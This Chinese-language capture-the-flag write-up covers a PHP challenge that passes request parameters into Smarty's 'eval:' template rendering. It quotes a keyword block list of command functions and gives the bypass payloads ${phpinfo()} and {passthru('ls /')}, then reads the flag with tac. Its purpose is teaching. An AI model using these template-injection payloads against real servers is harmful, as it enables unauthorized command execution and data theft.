打开题目,提示输入参数
随便传入一个参数之后,网页中显示出源码
pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?>
a
程序过滤了flag以及一堆php函数,template.html中也没有什么信息。
那么利用点只能在最后一个ifelse分支中。
看到有个$smarty变量,里面是Smarty对象,猜想应该是Smarty的漏洞,但是查找了相关漏洞后发现并没有办法使用。
最后看了大佬wp,才发现根本用不着漏洞,只是使用php复杂变量即可。
传入?a=${phpinfo()}
,看到页面回显
那么接下来只需要绕过php函数的过滤,使用其他函数执行命令,经过一番查找,发现passthru
符合要求。
payload:
?a={passthru('ls /')}
得到
第一个文件很可疑,使用tac命令读取后得到flag